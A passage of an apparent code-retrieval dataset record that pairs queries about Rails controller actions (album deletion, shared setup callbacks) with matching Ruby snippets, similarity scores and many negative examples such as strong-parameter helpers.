@album.destroy\n\n respond_to do |format|\n format.html { redirect_to(albums_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @album = Album.find(params[:id])\n @album.destroy\n\n respond_to do |format|\n format.html { redirect_to(albums_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n# @album = Album.find(params[:id])\n# @album.destroy\n\n respond_to do |format|\n format.html { redirect_to(albums_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @private_album.destroy\n respond_to do |format|\n format.html { redirect_to private_albums_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n\t@album = Album.find(@photo.album_id)\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to album_path(@album) }\n format.json { head :ok }\n end\n end", "def destroy\n @album = Album.find(params[:id])\n @album.destroy\n\n respond_to do |format|\n format.html { redirect_to user_albums_path(@user) }\n format.xml { head :ok }\n end\n end", "def destroy\r\n @album = Album.find(params[:id])\r\n @album.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to user_albums_path(session[:user_id]),:notice => \"Your Album has been successfully Deleted\" }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n album=@photo.album\n @photo.destroy\n save_to_json\n respond_to do |format|\n format.html { redirect_to album_path(album), notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_album album_id\n delete(\"/albums/#{album_id}\", code: 204)\n end", "def destroy\n @photo = Photo.find(params[:id])\n @album = @photo.album\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_album_url(@album) }\n format.json { head :no_content }\n end\n end", "def destroy\n @album.destroy\n\n respond_to do |format|\n format.html { redirect_to albums_url, notice: 'Album was successfully destroyed.' }\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end", "def destroy\n @album = Album.find(params[:id])\n @album.destroy\n redirect_to root_url\n end", "def destroy\n @albumone.destroy\n respond_to do |format|\n format.html { redirect_to albumones_url, notice: 'Albumone was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @album.destroy\n respond_to do |format|\n format.html { redirect_to albums_url, notice: \"Pagealbum was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @albumm = Albumm.find(params[:id])\n @albumm.destroy\n\n respond_to do |format|\n format.html { redirect_to albumms_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @galleries_album.destroy\n respond_to do |format|\n format.html { redirect_to galleries_albums_url, notice: 'Album was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @album = @photo.album_id\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to album_photos_path, notice: \"Photo was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @item_album.destroy\n respond_to do |format|\n format.html { redirect_to(:back) }\n format.json { head :no_content }\n end\n end", "def destroy\n @albumsix.destroy\n respond_to do |format|\n format.html { redirect_to albumsixes_url, notice: 'Albumsix was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo_album.destroy\n\n respond_to do |format|\n format.html { redirect_to(photo_albums_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @album_owned = AlbumOwned.find(params[:id])\n @album_owned.destroy\n\n respond_to do |format|\n format.html { redirect_to album_owneds_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @album_item = AlbumItem.find(params[:id])\n @album_item.destroy\n\n respond_to do |format|\n format.html { redirect_to album_items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n @album = @photo.album\n\n respond_to do |format|\n format.html { redirect_to @album, notice: \"ๅ†™็œŸใ‚’ๅ‰Š้™คใ—ใพใ—ใŸใ€‚\" }\n format.json { head :ok }\n end\n end", "def destroy\n @album = Album.find(params[:id])\n @album.destroy\n\n respond_to do |format|\n format.html { redirect_to(@album) }\n format.xml { head :ok }\n end\n end", "def destroy\n @photo_album = PhotoAlbum.find(params[:id])\n @photo_album.destroy\n\n respond_to do |format|\n format.html { redirect_to(photo_albums_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @album_photo.destroy\n respond_to do |format|\n format.html { redirect_to album_photos_url, notice: 'Album photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n alb=@photo.album\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to alb, notice: 'ะคะพั‚ะพะณั€ะฐั„ะธั ัƒัะฟะตัˆะฝะพ ัƒะดะฐะปะตะฝะฐ.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @albumfife.destroy\n respond_to do |format|\n format.html { redirect_to albumfives_url, notice: 'Albumfive was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @album = Album.find(params[:id])\n \n album_path = ALBUMS_ROOT + @album.name\n if(File.exists?(album_path))\n FileUtils.remove_dir(album_path)\n end\n\n @album.destroy\n\n respond_to do |format|\n format.html { redirect_to(albums_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n # authorize\n authorize! :delete, @album\n @album.destroy\n \n render nothing:true\n flash[:notice] = 'Xรณa album thร nh cรดng.'\n end", "def destroy\n @album = Album.find(params[:id])\n @album.destroy\n # Dir.chdir(\"public/images\")\n Dir.delete(@album['directory'])\n\n respond_to do |format|\n format.html { redirect_to albums_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @foto_album = FotoAlbum.find(params[:id])\n @foto_album.destroy\n\n respond_to do |format|\n format.html { redirect_to(foto_albums_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @albumseven.destroy\n respond_to do |format|\n format.html { redirect_to albumsevens_url, notice: 'Albumseven was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n respond_to do |format|\n if @album.destroy\n format.html { redirect_to artist_albums_url, notice: 'album was successfully destroyed.' }\n format.json { head :no_content }\n else\n format.html { render action: 'delete' }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @album2photo = Album2photo.find(params[:id])\n @album2photo.destroy\n\n respond_to do |format|\n format.html { redirect_to album2photos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @interior_album.destroy\n respond_to do |format|\n format.html { redirect_to interior_albums_url, notice: 'Interior design album was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @albumfour.destroy\n respond_to do |format|\n format.html { redirect_to albumfours_url, notice: 'Albumfour was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete()\n sql = \"DELETE FROM albums\n WHERE id = $1;\"\n values = [@id]\n SqlRunner.run( sql, values )\n end", "def destroy\n @album_follow.destroy\n respond_to do |format|\n format.html { redirect_to album_follows_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @album.destroy\n redirect_to albums_url, notice: 'ะะปัŒะฑะพะผ ัƒัะฟะตัˆะฝะพ ัƒะดะฐะปั‘ะฝ.'\n end", "def destroy\n\t\t# binding.pry\n\t\t@useralbum.destroy_all\n\t\tredirect_to user_albums_path\n \tend", "def destroy\n @photo = @allbum.photos.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to allbum_photos_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @album.destroy\n flash[:notice] = 'Album was successfully removed.'\n redirect_to(albums_url)\n end", "def destroy\n @album = Album.find(params[:id])\n @album.images.clear\n @album.save!\n @album.destroy\n Image.all(:conditions => {:album_id => params[:id]}).each do |x| \n x.album_id = nil\n x.save\n end\n respond_to do |format|\n format.html { redirect_to(albums_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @user = current_user\n @customer = @user.customers.find(params[:customer_id])\n @album = @customer.albums.find(params[:album_id])\n @photo = @album.photos.find(params[:id])\n @photo.destroy\n\n render :json => true\n end", "def destroy\n @private_album_image.destroy\n respond_to do |format|\n format.html { redirect_to private_album_images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n AlbumOwnership.find_by({album_id: @album.id, user_id: current_user.id}).destroy\n end", "def destroy\n @album_information.destroy\n respond_to do |format|\n format.html { redirect_to album_informations_url, notice: 'Album information was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_album\n @album = Album.find(params[:id])\n @album.destroy\n \n respond_to do |format|\n format.js\n end\n end", "def destroy\n @artist.destroy_songs\n @artist.albums.destroy_all\n @artist.destroy\n respond_to do |format|\n format.html { redirect_to artists_url, notice: 'Artist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @palbum = Palbum.find(params[:id])\n @palbum.destroy\n \n end", "def destroy\n @album = @track.album\n @track.destroy\n redirect_to album_tracks_url(@album)\n end", "def destroy\n @album.destroy\n @activity = PublicActivity::Activity.find_by(trackable_id: (params[:id]), trackable_type: controller_path.classify)\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to band_albums_url(@album.band.id), notice: 'Album was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo = Photo.find( params[:id])\n @album = @photo.album\n if @photo.destroy\n if params[:bucket_id]\n redirect_to bucket_album_path( params[:bucket_id], @album )\n else\n redirect_to @album\n end\n else\n redirect_to @photo\n end\n end", "def destroy\n @album = Album.find(params[:album_id])\n @photo = @album.photos.find(params[:id])\n @comments = @photo.comments.all\n @comments.each do |cmt|\n cmt.destroy\n end\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to album_path(@album) }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to user_album_photos_url(@user, @album) }\n format.xml { head :ok }\n end\n end", "def delete\n sql = \"DELETE FROM albums WHERE id = $1\"\n values = [@id]\n SqlRunner.run(sql, values)\nend", "def destroy\n @album_pub.destroy\n respond_to do |format|\n format.html { redirect_to album_pubs_url, notice: 'Album pub was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n unless editable(current_user, @album.user)\n redirect_back fallback_location: root_path, alert: 'ๅ‰Š้™คๆจฉ้™ใŒใ‚ใ‚Šใพใ›ใ‚“ใ€‚'\n return\n end\n @album.destroy\n\n respond_to do |format|\n format.html { redirect_to albums_url, notice: 'ใ‚ขใƒซใƒใƒ ใ‚’ๅ‰Š้™คใ—ใพใ—ใŸ' }\n format.json { head :ok }\n end\n end", "def destroy\n @album_genre = AlbumGenre.find(params[:id])\n @album_genre.destroy\n\n respond_to do |format|\n format.html { redirect_to album_genres_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @wedding_album.destroy\n respond_to do |format|\n format.html { redirect_to wedding_albums_url, notice: 'Wedding album was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @album_listing.destroy\n respond_to do |format|\n format.html { redirect_to album_listings_url, notice: 'Album listing was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @favorite_album.destroy\n respond_to do |format|\n format.html { redirect_to favorite_albums_url, notice: 'Favorite album was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @picture = @album.pictures.find(params[:id]) #JRD111115\n @picture.destroy\n respond_to do |format|\n format.html { redirect_to album_pictures_url(@album), notice: 'Picture was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n gallery = @photo.gallery\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to gallery_path(gallery) }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_back fallback_location: @photo.album, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @album = Album.find(params[:album_id])\n @image = @album.images.find(params[:id])\n @image.destroy\n redirect_to album_path(@image.album.id), notice: \"The image #{@image.name} has been deleted.\"\n end", "def destroy\n @album = Album.find(params[:id])\n @album.destroy\n expire_fragment :action_suffix => 'homepage_albums'\n\n respond_to do |format|\n format.html { redirect_to(albums_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @musica.audios.purge\n @musica.destroy\n respond_to do |format|\n format.html { redirect_to musicas_url, notice: 'รlbum apagado com sucesso!' }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def destroy\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.801051", "0.79122156", "0.7840477", "0.77915406", "0.77915406", "0.77915406", "0.77915406", "0.77915406", "0.7785304", "0.7780388", "0.7775917", "0.77713436", "0.77632475", "0.77632475", "0.77632475", "0.7684608", "0.7640788", "0.7640206", "0.76009154", "0.7557025", "0.75467694", "0.754556", "0.754556", "0.754556", "0.754556", "0.7542386", "0.752702", "0.7499952", "0.7499952", "0.7499952", "0.7499952", "0.74923575", "0.7473925", "0.745713", "0.7453086", "0.7441748", "0.7432717", "0.74241966", "0.740804", "0.740734", "0.7402739", "0.7400599", "0.73883563", "0.7375271", "0.7359508", "0.7351968", "0.7349126", "0.733627", "0.73284274", "0.7318021", "0.73037946", "0.730107", "0.7288504", "0.7287806", "0.72454154", "0.7213201", "0.7207476", "0.7203538", "0.720169", "0.71876234", "0.71851456", "0.71678424", "0.7157683", "0.7132293", "0.7116471", "0.7114639", "0.71000147", "0.7087597", "0.70812315", "0.70593905", "0.7039737", "0.70346594", "0.7022105", "0.701625", "0.6952559", "0.6939667", "0.69383836", "0.69328195", "0.6927591", "0.69084555", "0.6903124", "0.6884039", "0.68836343", "0.6882491", "0.6863932", "0.6799133", "0.67975944", "0.6787477", "0.6779844", "0.67683417", "0.6759638", "0.67548805", "0.6750414", "0.6749929", "0.67497134", "0.6745255", "0.6701014", "0.66926056", "0.66847914", "0.66363126", "0.66154945" ]
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_album @album = Album.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def album_params params.fetch(:album, {}).permit! # params.require(:album).permit(:user_id, :name, :title, :description, :kind, :category_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def 